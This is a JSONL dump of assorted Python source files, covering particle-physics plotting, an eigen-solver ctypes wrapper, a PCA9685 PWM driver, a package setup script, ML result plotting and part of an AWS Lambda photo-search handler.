c.read(\"domid\".encode())\n\t\t\tfor key in self.keys:\n\t\t\t\tself.key_path_hash[key]=(self.base_path+'/'+self.domu_id.decode()+'/'+key).encode()\n\tdef write(self,key='test',val='0'):\n\t\twith Client(xen_bus_path=\"/dev/xen/xenbus\") as c:\n\t\t\tmsg=str(val).encode()\n\t\t\t# c.write(self.key_path_hash[key],msg)\t\n\t\t\tsuccess = False\n\t\t\twhile not success:\n\t\t\t\tc.transaction()\n\t\t\t\tc.write(self.key_path_hash[key],msg)\n\t\t\t\tsuccess = c.commit()\n\n","sub_path":"overhead/heartbeat.py","file_name":"heartbeat.py","file_ext":"py","file_size_in_byte":5465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"465027034","text":"#!/usr/bin/env python\n# python script to plot reflection studies on the decay simulator results\n\nimport argparse\nimport ROOT\nimport IPython\nimport math\n\nglobalList = []\n\ndef main(fname, ptMin, ptMax):\n ROOT.TH1.AddDirectory(False)\n ROOT.gStyle.SetOptTitle(False)\n ROOT.gStyle.SetOptStat(0)\n\n file = ROOT.TFile(fname)\n if not file or file.IsZombie():\n print(\"Could not open file '{}'\".format(fname))\n exit(1)\n\n tree = file.Get(\"DecaySimulation\")\n if not tree:\n print(\"Could not get tree!\")\n exit(1)\n\n histograms = []\n\n ReflDiffVsDPt = ROOT.TH2D(\"ReflDiffVsDPt\", \"ReflDiffVsDPt;#it{p}_{T,D} (GeV/#it{c});m_{refl} - m (GeV/#it{c}^{2})\", ptMax - ptMin, ptMin, ptMax, 1500, -1.3, 3.2)\n globalList.append(ReflDiffVsDPt)\n histograms.append(ReflDiffVsDPt)\n\n ReflDiffVsDPtHighPt = ROOT.TH2D(\"ReflDiffVsDPtHighPt\", \"ReflDiffVsDPtHighPt;#it{p}_{T,D} (GeV/#it{c});#Delta_{approx}^{2} (GeV/#it{c}^{2})\", ptMax - ptMin, ptMin, ptMax, 1500, -1.3, 3.2)\n globalList.append(ReflDiffVsDPtHighPt)\n histograms.append(ReflDiffVsDPtHighPt)\n\n ApproxInvMass = ROOT.TH2D(\"ApproxInvMass\", \"ApproxInvMass;#it{p}_{T,D} (GeV/#it{c});#it{m}_{K}^{2} + #it{m}_{#pi}^{2} + 2#it{p}_{K}#it{p}_{#pi}(1 - cos(#theta)) (GeV/#it{c}^{2})^{2}\", ptMax - ptMin, ptMin, ptMax, 400, 1.0, 4.0)\n globalList.append(ApproxInvMass)\n histograms.append(ApproxInvMass)\n\n DaughtersPt = ROOT.TH2D(\"DaughtersPt\", \"DaughtersPt;#it{p}_{K} (GeV/#it{c});#it{p}_{#pi} (GeV/#it{c})\", int(ptMax * 1.5), 0, ptMax * 1.5, int(ptMax * 1.5), 0, ptMax * 1.5)\n globalList.append(DaughtersPt)\n histograms.append(DaughtersPt)\n\n ApproxErrorInvMass = ROOT.TH1D(\"ApproxErrorInvMass\", \"ApproxErrorInvMass;2(#sqrt{(#it{p}_{K}^{2} + #it{m}_{K}^{2})(#it{p}_{#pi}^{2} + #it{m}_{#pi}^{2})} - #it{p}_{K}#it{p}_{#pi}) (GeV/#it{c}^{2})^{2}\", 1600, 0, 4.0)\n globalList.append(ApproxErrorInvMass)\n histograms.append(ApproxErrorInvMass)\n\n ApproxErrorInvMassVsPtRatio = ROOT.TH2D(\"ApproxErrorInvMassVsPtRatio\", \"ApproxErrorInvMassVsPtRatio;#it{p}_{K}#it{m_{#pi}} / #it{p}_{#pi}#it{m_{K}};2(#sqrt{(#it{p}_{K}^{2} + #it{m}_{K}^{2})(#it{p}_{#pi}^{2} + #it{m}_{#pi}^{2})} - #it{p}_{K}#it{p}_{#pi}) (GeV/#it{c}^{2})^{2}\", 2000, 0, 100, 2000, 0, 4.0)\n globalList.append(ApproxErrorInvMassVsPtRatio)\n histograms.append(ApproxErrorInvMassVsPtRatio)\n\n ApproxErrorInvMassVsDP = ROOT.TH2D(\"ApproxErrorInvMassVsDP\", \"ApproxErrorInvMassVsDP;#it{p}_{D} (GeV/#it{c});2(#sqrt{(#it{p}_{K}^{2} + #it{m}_{K}^{2})(#it{p}_{#pi}^{2} + #it{m}_{#pi}^{2})} - #it{p}_{K}#it{p}_{#pi}) (GeV/#it{c}^{2})^{2}\", ptMax - ptMin, ptMin, ptMax, 2000, 0, 4.0)\n globalList.append(ApproxErrorInvMassVsDP)\n histograms.append(ApproxErrorInvMassVsDP)\n\n D0mass = 1.86484\n piMass = 0.139570\n Kmass = 0.493677\n\n minE = 100\n\n for dmeson in tree:\n mass1 = dmeson.Daughter1.M()\n mass2 = dmeson.Daughter2.M()\n reflDaugh1 = ROOT.TLorentzVector(dmeson.Daughter1)\n reflDaugh1.SetPtEtaPhiM(dmeson.Daughter1.Pt(), dmeson.Daughter1.Eta(), dmeson.Daughter1.Phi(), mass2)\n reflDaugh2 = ROOT.TLorentzVector(dmeson.Daughter2)\n reflDaugh2.SetPtEtaPhiM(dmeson.Daughter2.Pt(), dmeson.Daughter2.Eta(), dmeson.Daughter2.Phi(), mass1)\n refl = reflDaugh1 + reflDaugh2\n massRefl = refl.M()\n mass = dmeson.Mother.M()\n pt = dmeson.Mother.Pt()\n ReflDiffVsDPt.Fill(pt, massRefl - mass)\n ReflDiffVsDPtHighPt.Fill(pt, (mass1 * mass1 - mass2 * mass2) * (dmeson.Daughter2.P() / dmeson.Daughter1.P() - dmeson.Daughter1.P() / dmeson.Daughter2.P()))\n theta = dmeson.Daughter1.Vect().Angle(dmeson.Daughter2.Vect())\n approxMass = mass1 ** 2 + mass2 ** 2 + 2 * dmeson.Daughter1.P() * dmeson.Daughter2.P() * (1 - math.cos(theta))\n ApproxInvMass.Fill(pt, approxMass)\n approxE = D0mass ** 2 - approxMass\n if approxE < minE:\n minE = approxE\n ApproxErrorInvMass.Fill(approxE)\n DaughtersPt.Fill(dmeson.Daughter2.P(), dmeson.Daughter1.P())\n ApproxErrorInvMassVsPtRatio.Fill(dmeson.Daughter2.P() * dmeson.Daughter1.M() / dmeson.Daughter2.M() / dmeson.Daughter1.P(), approxE)\n ApproxErrorInvMassVsDP.Fill(dmeson.Mother.P(), approxE)\n\n print(\"Minimum approx error {}\".format(minE))\n\n c = ROOT.TCanvas(\"ReflDiffVsDPt\", \"ReflDiffVsDPt\")\n globalList.append(c)\n c.cd()\n ReflDiffVsDPt.Draw(\"colz\")\n line1 = ROOT.TLine(ptMin, 1.715 - D0mass, ptMax, 1.715 - D0mass)\n globalList.append(line1)\n line1.SetLineColor(ROOT.kRed)\n line1.SetLineWidth(2)\n line1.Draw()\n line2 = ROOT.TLine(ptMin, 2.015 - D0mass, ptMax, 2.015 - D0mass)\n globalList.append(line2)\n line2.SetLineColor(ROOT.kRed)\n line2.SetLineWidth(2)\n line2.Draw()\n c.SaveAs(\"{}.pdf\".format(c.GetName()))\n\n c = ROOT.TCanvas(\"ReflDiffVsDPtHighPt\", \"ReflDiffVsDPtHighPt\")\n globalList.append(c)\n c.cd()\n ReflDiffVsDPtHighPt.Draw(\"colz\")\n line1 = ROOT.TLine(ptMin, 1.715 - D0mass, ptMax, 1.715 - D0mass)\n globalList.append(line1)\n line1.SetLineColor(ROOT.kRed)\n line1.SetLineWidth(2)\n line1.Draw()\n line2 = ROOT.TLine(ptMin, 2.015 - D0mass, ptMax, 2.015 - D0mass)\n globalList.append(line2)\n line2.SetLineColor(ROOT.kRed)\n line2.SetLineWidth(2)\n line2.Draw()\n c.SaveAs(\"{}.pdf\".format(c.GetName()))\n\n c = ROOT.TCanvas(\"ApproxInvMass\", \"ApproxInvMass\")\n globalList.append(c)\n c.cd()\n ApproxInvMass.Draw(\"colz\")\n line1 = ROOT.TLine(ptMin, D0mass ** 2, ptMax, D0mass ** 2)\n globalList.append(line1)\n line1.SetLineColor(ROOT.kRed)\n line1.SetLineWidth(2)\n line1.Draw()\n c.SaveAs(\"{}.pdf\".format(c.GetName()))\n\n c = ROOT.TCanvas(\"DaughtersPt\", \"DaughtersPt\")\n globalList.append(c)\n c.cd()\n DaughtersPt.Draw(\"colz\")\n c.SetLogz()\n line1 = ROOT.TLine(0, 0, ptMax * 1.5, ptMax * 1.5 / piMass * Kmass)\n globalList.append(line1)\n line1.SetLineColor(ROOT.kRed)\n line1.SetLineWidth(2)\n line1.Draw()\n c.SaveAs(\"{}.pdf\".format(c.GetName()))\n\n c = ROOT.TCanvas(\"ApproxErrorInvMass\", \"ApproxErrorInvMass\")\n globalList.append(c)\n c.cd()\n ApproxErrorInvMass.Draw()\n c.SaveAs(\"{}.pdf\".format(c.GetName()))\n\n c = ROOT.TCanvas(\"ApproxErrorInvMassVsPtRatio\", \"ApproxErrorInvMassVsPtRatio\")\n globalList.append(c)\n c.cd()\n ApproxErrorInvMassVsPtRatio.Draw(\"colz\")\n ApproxErrorInvMassVsPtRatio.GetXaxis().SetRangeUser(0, 10)\n ApproxErrorInvMassVsPtRatio.GetYaxis().SetRangeUser(0, 1)\n line1 = ROOT.TLine(0, 2 * piMass * Kmass, 10, 2 * piMass * Kmass)\n globalList.append(line1)\n line1.SetLineColor(ROOT.kRed)\n line1.SetLineWidth(2)\n line1.Draw()\n c.SaveAs(\"{}.pdf\".format(c.GetName()))\n\n c = ROOT.TCanvas(\"ApproxErrorInvMassVsDP\", \"ApproxErrorInvMassVsDP\")\n globalList.append(c)\n c.cd()\n ApproxErrorInvMassVsDP.Draw(\"colz\")\n c.SaveAs(\"{}.pdf\".format(c.GetName()))\n\n fname_out = fname.replace(\".root\", \"_hists.root\")\n file_out = ROOT.TFile(fname_out, \"recreate\")\n file_out.cd()\n for h in histograms:\n h.Write()\n file_out.Close()\n\nif __name__ == '__main__':\n\n parser = argparse.ArgumentParser(description='Reflection studies on the decay simulator results.')\n parser.add_argument('filename', metavar='simulation.root',\n help='ROOT file containing the results of the decay simulator')\n parser.add_argument('--pt-min', metavar='PTMIN',\n default=0, type=int,\n help='Minimum pt of the simulation')\n parser.add_argument('--pt-max', metavar='PTMAX',\n default=100, type=int,\n help='Maximum pt of the simulation')\n args = parser.parse_args()\n\n main(args.filename, args.pt_min, args.pt_max)\n\n IPython.embed()\n","sub_path":"hfdev/plotReflections.py","file_name":"plotReflections.py","file_ext":"py","file_size_in_byte":7802,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"171958754","text":"'''Python wrapper for phist_solvers library\n'''\n\n# imports\nfrom __future__ import print_function\nimport ctypes as _ct\n# we need to load kernels, tools and core\nimport phist_tools as _phist_tools\nimport phist_kernels as _phist_kernels\nimport phist_core as _phist_core\n\n\n#--------------------------------------------------------------------------------\n# load library\n_phist_solvers = _ct.CDLL(name='libphist_solvers.so', mode=_ct.RTLD_GLOBAL)\n\n\n#--------------------------------------------------------------------------------\n# helper functions\nclass _DeclareHelper:\n '''a helper class to set appropriate restype and argtypes and make the function available in the current scope'''\n\n def __init__(self, lib):\n self.lib = lib\n\n def __call__(self, restype, fcn_name, argtypes, skip_if_missing=False):\n '''actually sets restype and argtypes...'''\n if skip_if_missing and not hasattr(self.lib, fcn_name):\n return\n getattr(self.lib, fcn_name).restype = restype\n getattr(self.lib, fcn_name).argtypes = argtypes\n globals()[fcn_name] = getattr(self.lib, fcn_name)\n\n_declare = _DeclareHelper(lib=_phist_solvers)\n\ndef _set(varName, value):\n globals()[varName] = value\n\n#--------------------------------------------------------------------------------\n# some helper data types\nc_int = _phist_kernels.c_int\nc_int_p = _phist_kernels.c_int_p\nc_char = _ct.c_char\nc_char_p = _phist_kernels.c_char_p\nc_double = _ct.c_double\nc_void_p = _ct.c_void_p\n\n#--------------------------------------------------------------------------------\n# data type independent structs/routines\n# from phist_jadaOpts.h\n#typedef struct phist_jadaOpts_t { ... } phist_jadaOpts_t;\nclass phist_jadaOpts_t(_ct.Structure):\n '''This struct can be used to consistently pass\n parameters to our various Jacobi-Davidson methods.\n\n\n // what do you want to compute?\n int numEigs; //! howmany eigenpairs are sought?\n EeigSort which; //! LM, SM, LR, SR, or TARGET\n double convTol; //! convergence tolerance for eigenvalues\n EmatSym symmetry; //! Symmetry properties of the matrix\n EeigExtr how; //! use standaard or harmonic Ritz values, etc.\n\n // JaDa configuration\n int maxIters; //! maximum iterations allowed\n int blockSize; //! only for block methods (subspacejada)\n int minBas; //! number of vectors retained upon restart\n int maxBas; //! maximum number of vectors allowed in the basis\n // how should JaDa start up?\n void* v0; //! can be used to pass in a start-up vector(-space) (can have any number of\n //! columns). v0 is assumed to be orthonormal.\n int arno; //! 0: no Arnoldi steps. 1: minBas Arnoldi steps to start up.\n double initialShift_r; //! can be used to start with an initial shift\n //! (ignored if arno!=0)\n double initialShift_i; //! imaginary part of initial shift\n \n int initialShiftIters; // perform given number of iterations with a fixed shift\n // inner solver configuration\n ElinSolv innerSolvType; /*! GMRES, MINRES, CARP_CG, USER_DEFINED currently supported.\n * If set to USER_DEFINED, you have to provide the customSolver*\n * interface below.\n */\n int innerSolvBlockSize;\n int innerSolvMaxBas;\n int innerSolvMaxIters;\n int innerSolvRobust; /*! extra effort to get good jada updates\n * (in practice this may mean a more accurate orthogonalization etc.)\n */\n int innerSolvStopAfterFirstConverged;\n \n //! pointer to a inearOp whose apply_shifted function serves as a preconditioner for the inner solver. May be NULL (no preconditioning) or created by phist_Xprecon_create.\n //! This pointer can be used to pass an already computed preconditioner to the Jacobi-Davidson solver. The preconditioner will not be updated explicitly during the run, but\n //! differentsshift will be supplied to the apply_shifted function.\n void const* preconOp;\n\n //! This fields allows specifying a preconditioner (along with preconOpts to pass in options) in an option file.\n //! Currently it is the responsibility of the driver routine to create the preconditioner in \"preconOp\", but in \n //! the future we may allow the jada solver(s) to update the preconditioner with new subspace information and \n //! shifts during the eigenvalue computation.\n phist_Eprecon preconType;\n\n //! option string passed to precon_create alongside preconType (if it is not NO_PRECON or INVALID_PRECON)\n char preconOpts[1024];\n\n \n //! pointer to solver object if innerSolvType==USER_DEFINED\n void* customSolver;\n \n //! this function is used instead of phist_jadaCorrectionSolver_run if innerSolvType is USER_DEFINED.\n //! For jdqr or subspacejada with block size 1 it is enough to implement the simpler interface below,\n //! we first check in those cases if that interface is set before checking for this one.\n //! note that the scalar arguments are always passed in as doubles so that a single function pointer can\n //! be used in this untyped struct.\n void (*customSolver_run)( void* customSolverData,\n void const* A_op, void const* B_op,\n void const* Qtil, void const* BQtil,\n const double sigma_r[], const double sigma_i[],\n void const* res, const int resIndex[],\n const double tol[], int maxIter,\n void* t, int robust,\n int abortAfterFirstConvergedInBlock,\n int * iflag);\n \n //! simplified interface if only single-vector jdqr or subspacejada is used.\n void (*customSolver_run1)( void* customSolverData,\n void const* A_op, void const* B_op,\n void const* Qtil, void const* BQtil,\n const double sigma, double sigma_i,\n void const* res, double tol,\n int maxIter, void* t,\n int robust,\n int * iflag);\n //! (for internal use only)\n void (*custom_computeResidual)(...); \n '''\n\n _fields_ = [(\"numEigs\", c_int),\n (\"which\", _phist_tools.EeigSort),\n (\"convTol\", c_double),\n (\"symmetry\", _phist_tools.EmatSym),\n (\"how\", _phist_tools.EeigExtr),\n (\"maxIters\", c_int),\n (\"blockSize\", c_int),\n (\"minBas\", c_int),\n (\"maxBas\", c_int),\n (\"v0\", c_void_p),\n (\"arno\", c_int),\n (\"initialShift_r\", c_double),\n (\"initialShift_i\", c_double),\n (\"initialShiftIters\", c_int),\n (\"innerSolvType\", _phist_tools.ElinSolv),\n (\"innerSolvBlockSize\", c_int),\n (\"innerSolvMaxBas\", c_int),\n (\"innerSolvMaxIters\", c_int),\n (\"innerSolvRobust\", c_int),\n (\"innerSolvStopAfterFirstConverged\", c_int),\n (\"preconOp\", c_void_p),\n (\"preconType\", _phist_tools.Eprecon),\n (\"preconOpts\", c_char*1024),\n (\"customSolver\", c_void_p),\n (\"customSolver_run\", c_void_p),\n (\"customSolver_run1\", c_void_p),\n (\"custom_computeResidual\", c_void_p)]\n\n def __init__(self):\n super(_ct.Structure,self).__init__()\n _phist_solvers.phist_jadaOpts_setDefaults(_ct.byref(self))\n\n\n# from phist_jadaOpts.h\nphist_jadaOpts_t_p = _ct.POINTER(phist_jadaOpts_t)\n#void phist_jadaOpts_setDefaults(phist_jadaOpts_t *opts);\n_phist_solvers.phist_jadaOpts_setDefaults.argtypes = (phist_jadaOpts_t_p,)\n_phist_solvers.phist_jadaOpts_setDefaults.restype = None\nphist_jadaOpts_setDefaults = _phist_solvers.phist_jadaOpts_setDefaults\n\n\n#--------------------------------------------------------------------------------\n# data type dependent routines\nfor _varT in ('S', 'D', 'C', 'Z'):\n _prefix = 'phist_'+_varT\n\n # scalar data types\n _ST_ = getattr(_phist_kernels, _varT)\n _MT_ = {'S': _phist_kernels.S, 'D': _phist_kernels.D, 'C': _phist_kernels.S, 'Z': _phist_kernels.D}[_varT]\n _CT_ = {'S': _phist_kernels.C, 'D': _phist_kernels.Z, 'C': _phist_kernels.C, 'Z': _phist_kernels.Z}[_varT]\n _ST_p = _ct.POINTER(_ST_)\n _CT_p = _ct.POINTER(_CT_)\n _MT_p = _ct.POINTER(_MT_)\n _ST_pp = _ct.POINTER(_ST_p)\n _MT_pp = _ct.POINTER(_MT_p)\n\n # use types from kernels\n _mvec_ptr = getattr(_phist_kernels, _varT+'mvec_ptr')\n _sdMat_ptr = getattr(_phist_kernels, _varT+'sdMat_ptr')\n\n # use types from core\n _linearOp_ptr = getattr(_phist_core, _varT+'linearOp_ptr')\n\n # from phist_subspacejada_decl.h\n #void SUBR(subspacejada)( TYPE(const_linearOp_ptr) A_op, TYPE(const_linearOp_ptr) B_op,\n # phist_jadaOpts_t opts,\n # TYPE(mvec_ptr) Q, TYPE(sdMat_ptr) R,\n # _CT_* ev, _MT_* resNorm,\n # int *nConv, int *nIter,\n # int* iflag);\n _declare(None, _prefix+'subspacejada', (_linearOp_ptr, _linearOp_ptr,\n phist_jadaOpts_t,\n _mvec_ptr, _sdMat_ptr,\n _CT_p, _MT_p, \n c_int_p, c_int_p,\n c_int_p), skip_if_missing=True)\n\n # from phist_jdqr_decl.h\n #void SUBR(jdqr)(TYPE(const_linearOp_ptr) A_op, TYPE(const_linearOp_ptr) B_op,\n # TYPE(mvec_ptr) X, TYPE(mvec_ptr) Q, TYPE(sdMat_ptr) R,\n # _ST_* evals, _MT_* resid, int* is_cmplx,\n # phist_jadaOpts_t options, int* num_eigs, int* num_iters,\n # int* iflag);\n _declare(None, _prefix+'jdqr', (_linearOp_ptr, _linearOp_ptr,\n _mvec_ptr, _mvec_ptr, _sdMat_ptr,\n _ST_p, _MT_p, c_int_p,\n phist_jadaOpts_t, c_int_p, c_int_p,\n c_int_p), skip_if_missing=True)\n\n","sub_path":"python/phist_solvers.py","file_name":"phist_solvers.py","file_ext":"py","file_size_in_byte":11144,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"436705194","text":"# (c) Copyright, 2016, Synapse Wireless Inc.\n\"\"\"Definitions and functions for the NXP PCA9685 12-bit Fm+ 16-ch I2C LED / PWM Driver\"\"\"\n\n# I2C address\nPCA9685_ADDR = 0xC0 # 0x80 + [A5:A0 pins] -- default here assumes A5 pulled high\nPCA9685_ADDR_WR = \"%c\" % PCA9685_ADDR\nPCA9685_ADDR_RD = \"%c\" % (PCA9685_ADDR + 1)\n\nPCA9685_REG_MODE1 = '\\x00'\nPCA9685_REG_MODE2 = '\\x01'\nPCA9685_SUBADR1 = '\\x02'\nPCA9685_SUBADR2 = '\\x03'\nPCA9685_SUBADR3 = '\\x04'\nPCA9685_ALLCALLADR= '\\x05'\nPCA9685_PWM_BASE = '\\x06' # Begin 64-byte block: [ON_L | ON_H | OFF_L | OFF_H] * 16\n # These are waveform ON/OFF counts in a running 12-bit timer.\nPCA9685_PWM_ALL = '\\xFA' # Single 4-byte block (per above) to load ALL the above registers at once\nPCA9685_PRESCALE = '\\xFE'\nPCA9685_TESTMODE = '\\xFF'\n\ndef PCA9685_init():\n \"\"\"Initialize and exit sleep mode. Enable auto-increment of addressing\"\"\"\n i2cWrite(PCA9685_ADDR_WR + PCA9685_REG_MODE1 + \"\\x20\", 1, False)\n\ndef PCA9685_sleep():\n \"\"\"Enter sleep mode\"\"\"\n i2cWrite(PCA9685_ADDR_WR + PCA9685_REG_MODE1 + \"\\x30\", 1, False)\n\ndef PCA9685_pwm_chan(chan, on, off):\n \"\"\"Set PWM parameters for selected channel (0-15)\"\"\"\n i2cWrite(PCA9685_ADDR_WR + chr(6 + (chan << 2)) + chr(on & 0xff) + chr(on >> 8) + chr(off & 0xff) + chr(off >> 8), 1, False)\n \ndef PCA9685_pwm_all(on, off):\n \"\"\"Set PWM parameters for all channels\"\"\"\n i2cWrite(PCA9685_ADDR_WR + PCA9685_PWM_ALL + chr(on & 0xff) + chr(on >> 8) + chr(off & 0xff) + chr(off >> 8), 1, False)\n \ndef PCA9685_logic_chan(chan, is_set):\n \"\"\"Set logic level output on selected channel\"\"\"\n val = \"\\x00\\x10\\x00\\x00\" if is_set else \"\\x00\\x00\\x00\\x10\"\n i2cWrite(PCA9685_ADDR_WR + chr(6 + (chan << 2)) + val, 1, False)\n \ndef PCA9685_duty_chan(chan, duty):\n \"\"\"Set PWM duty cycle (n/4096) for selected channel (0-15)\"\"\"\n if duty <= 0:\n PCA9685_logic_chan(chan, False)\n elif duty < 4096:\n # Turn on at count=0, off at 'duty' count\n i2cWrite(PCA9685_ADDR_WR + chr(6 + (chan << 2)) + \"\\x00\\x00\" + chr(duty & 0xff) + chr(duty >> 8), 1, False)\n else:\n PCA9685_logic_chan(chan, True)","sub_path":"PCA9685.py","file_name":"PCA9685.py","file_ext":"py","file_size_in_byte":2152,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"273088494","text":"#!/usr/bin/env python\nimport os\nimport sys\nfrom setuptools import setup\nfrom setuptools.command.test import test as TestCommand\n\n# If testing in python 2, use subprocess32 instead of built in subprocess\nif os.name == 'posix' and sys.version_info[0] < 3:\n exta_test_deps = ['subprocess32']\nelse:\n exta_test_deps = []\n\n\nclass PyTest(TestCommand):\n\n user_options = [('pytest-args=', 'a', \"Arguments to pass to py.test\")]\n\n def initialize_options(self):\n super(PyTest, self).initialize_options()\n self.pytest_args = []\n\n def finalize_options(self):\n super(PyTest, self).finalize_options()\n self.test_suite = True\n self.test_args = []\n\n def run_tests(self):\n # import here, cause outside the eggs aren't loaded\n import pytest\n exit(pytest.main(self.pytest_args))\n\n\nreadme = open('README.rst').read()\ndoclink = \"\"\"\nDocumentation\n-------------\n\nThe full documentation is at http://GeoscienceAustralia.github.io/uncover-ml/.\"\"\"\nhistory = open('HISTORY.rst').read().replace('.. :changelog:', '')\n\nsetup(\n name='uncover-ml',\n version='0.1.0',\n description='Machine learning tools for the Geoscience Australia uncover '\n 'project',\n long_description=readme + '\\n\\n' + doclink + '\\n\\n' + history,\n author='Geoscience Australia Mineral Systems Group, NICTA Spatial '\n 'Inference Systems Team',\n author_email='John.Wilford@ga.gov.au',\n url='https://github.com/GeoscienceAustralia/uncover-ml',\n packages=['uncoverml', 'uncoverml.scripts', 'uncoverml.transforms',\n 'preprocessing', 'uncoverml.optimise'],\n package_dir={'uncover-ml': 'uncoverml'},\n include_package_data=True,\n entry_points={\n 'console_scripts': [\n 'uncoverml = uncoverml.scripts.uncoverml:cli',\n 'gammasensor = uncoverml.scripts.gammasensor:cli',\n 'tiff2kmz = uncoverml.scripts.tiff2kmz:main',\n 'subsampletargets = uncoverml.scripts.subsampletargets:cli',\n 'geoinfo = preprocessing.geoinfo:cli',\n 'resample = preprocessing.resample:cli',\n 'rasteraverage = preprocessing.raster_average:cli',\n 'gridsearch = uncoverml.scripts.gridsearch:cli'\n ]\n },\n install_requires=[\n 'numpy >= 1.9.2',\n 'pycontracts == 1.7.9',\n 'tables >= 3.2.2',\n 'rasterio == 0.36.0',\n 'affine == 2.0.0.post1',\n 'pyshp == 1.2.3',\n 'click == 6.6',\n 'pywavelets == 0.5.2',\n 'revrand >= 0.9.10',\n 'mpi4py == 2.0.0',\n 'scipy >= 0.15.1',\n 'scikit-learn == 0.18.1',\n 'scikit-image >= 0.12.3',\n 'wheel >= 0.29.0',\n 'PyYAML >= 3.11',\n 'GDAL >= 2.0.0',\n 'pandas == 0.19.2',\n 'geopandas == 0.2.1',\n 'matplotlib >= 1.5.1',\n 'PyKrige == 1.3.0',\n 'xgboost == 0.6a2',\n 'catboost == 0.3.0',\n ],\n extras_require={\n 'demos': [\n 'matplotlib'\n ],\n 'kmz': [\n 'simplekml',\n 'pillow'\n ],\n 'dev': [\n 'sphinx',\n 'ghp-import',\n 'sphinxcontrib-programoutput'\n ]\n },\n cmdclass={\n 'test': PyTest\n },\n tests_require=[\n 'pytest',\n 'pytest-cov',\n 'coverage',\n 'codecov',\n 'tox',\n ] + exta_test_deps,\n license=\"Apache Software License 2.0\",\n zip_safe=False,\n keywords='uncover-ml',\n classifiers=[\n 'Development Status :: 4 - Beta',\n \"Operating System :: POSIX\",\n \"License :: OSI Approved :: Apache Software License\",\n \"Natural Language :: English\",\n \"Programming Language :: Python\",\n \"Programming Language :: Python :: 3.4\",\n \"Programming Language :: Python :: 3.5\",\n \"Intended Audience :: Science/Research\",\n \"Intended Audience :: Developers\",\n \"Topic :: Software Development :: Libraries :: Python Modules\",\n \"Topic :: Scientific/Engineering :: Artificial Intelligence\",\n \"Topic :: Scientific/Engineering :: Information Analysis\"\n ],\n)\n","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":4103,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"370348256","text":"'''\n This file includes helper functions for the project such as dataloader and visualization\n'''\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport os\nfrom PIL import Image\nimport pdb\n\nimport tensorflow as tf\n\n\n'''\n plot curver between iteration times and loss or accuracy\n - Input iteration: the iteration times of training\n - Iuput loss: loss value during the training process\n - Input accuracy: prediction accuracy during the training process\n'''\ndef processPlot_acc_loss(iteration, loss, accuracy, test_loss, test_acc, title):\n fig, (Ax0, Ax1) = plt.subplots(1, 2, figsize = (16, 8))\n\n x = np.arange(0, iteration, 1)\n\n Ax0.plot(x, loss)\n # Ax0.text(0.5, 80, , fontsize=12)\n Ax0.text(0.95, 0.01, 'The average test loss is {:.4f}'.format(test_loss),\n verticalalignment='bottom', horizontalalignment='right', transform=Ax0.transAxes,\n color='red', fontsize=15)\n\n Ax0.set_title('Loss Value') \n Ax0.set_xlabel('iteration times')\n Ax0.set_ylabel('loss')\n Ax0.grid(True)\n \n\n Ax1.plot(x, accuracy)\n\n Ax1.text(0.95, 0.01, 'The average test accuracy is {:.4f}%'.format(test_acc * 100),\n verticalalignment='bottom', horizontalalignment='right', transform=Ax1.transAxes,\n color='red', fontsize=15)\n Ax1.set_title('Prediction Accuracy')\n Ax1.set_xlabel('iteration times')\n Ax1.set_ylabel('Accuracy')\n Ax1.grid(True)\n\n plt.suptitle(title, fontsize=16)\n plt.show()\n\n\n'''\n plot accuracy and loss curve wrt the iteration times\n'''\ndef processPlot(ind_base):\n test_res_rcnn = np.load('res/FasterRCNN{}_test_rcnn.npy'.format(ind_base)) \n test_res_cls = np.load('res/FasterRCNN{}_test_cls.npy'.format(ind_base))\n test_res_reg = np.load('res/FasterRCNN{}_test_reg.npy'.format(ind_base))\n\n train_rcnn_loss = np.load('res/FasterRCNN{}_train_rcnn_loss.npy'.format(ind_base))\n train_rcnn_acc = np.load('res/FasterRCNN{}_train_rcnn_acc.npy'.format(ind_base))\n train_cls_loss = np.load('res/FasterRCNN{}_train_cls_loss.npy'.format(ind_base))\n train_cls_acc = np.load('res/FasterRCNN{}_train_cls_acc.npy'.format(ind_base))\n train_reg_loss = np.load('res/FasterRCNN{}_train_reg_loss.npy'.format(ind_base))\n train_reg_acc = np.load('res/FasterRCNN{}_train_reg_acc.npy'.format(ind_base))\n\n total = train_cls_loss.shape[0]\n title = 'Cls Branch: Training Loss and Accuracy Curves wrt the iteration (Include Test Result)'\n processPlot_acc_loss(total, train_cls_loss, train_cls_acc, test_res_cls[0], test_res_cls[1], title)\n\n title = 'Reg Branch: Training Loss and Accuracy Curves wrt the iteration (Include Test Result)'\n processPlot_acc_loss(total, train_reg_loss, train_reg_acc, test_res_reg[0], test_res_reg[1], title)\n\n title = 'Obj Classification: Training Loss and Accuracy Curves wrt the iteration (Include Test Result)'\n processPlot_acc_loss(total, train_rcnn_loss, train_rcnn_acc, test_res_rcnn[0], test_res_rcnn[1], title)\n\n","sub_path":"FasterRCNN/FasterRCNN_tf/helper.py","file_name":"helper.py","file_ext":"py","file_size_in_byte":2880,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"95155541","text":"import boto3\nimport json\nimport requests\n\ndef lambda_handler(event, context):\n photos = []\n message = event[\"queryStringParameters\"][\"q\"]\n keys = toLext(message)\n print(keys)\n search = parseSearch(keys)\n print(search)\n photos = esSearch(search)\n print(photos)\n return {\n 'statusCode': 200,\n 'headers': {\n 'Content-Type': 'application/json',\n 'Access-Control-Allow-Headers': 'Content-Type, Access-Control-Allow-Headers, Authorization, X-Requested-With',\n 'Access-Control-Allow-Origin': '*',\n 'Access-Control-Allow-Methods': 'OPTIONS,POST,GET',\n },\n 'body': json.dumps(photos),\n 'isBase64Encoded': False\n }\n \n \ndef toLext(message):\n lex = boto3.client('lex-runtime')\n keys = lex.post_text(\n botName = 'nlp_album',\n botAlias = 'albumTest',\n userId = 'key',\n inputText = message)\n return keys\n\ndef parseSearch(keys):\n search = []\n if keys[\"slots\"][\"first\"] != None:\n search.append(keys[\"slots\"][\"first\"])\n if 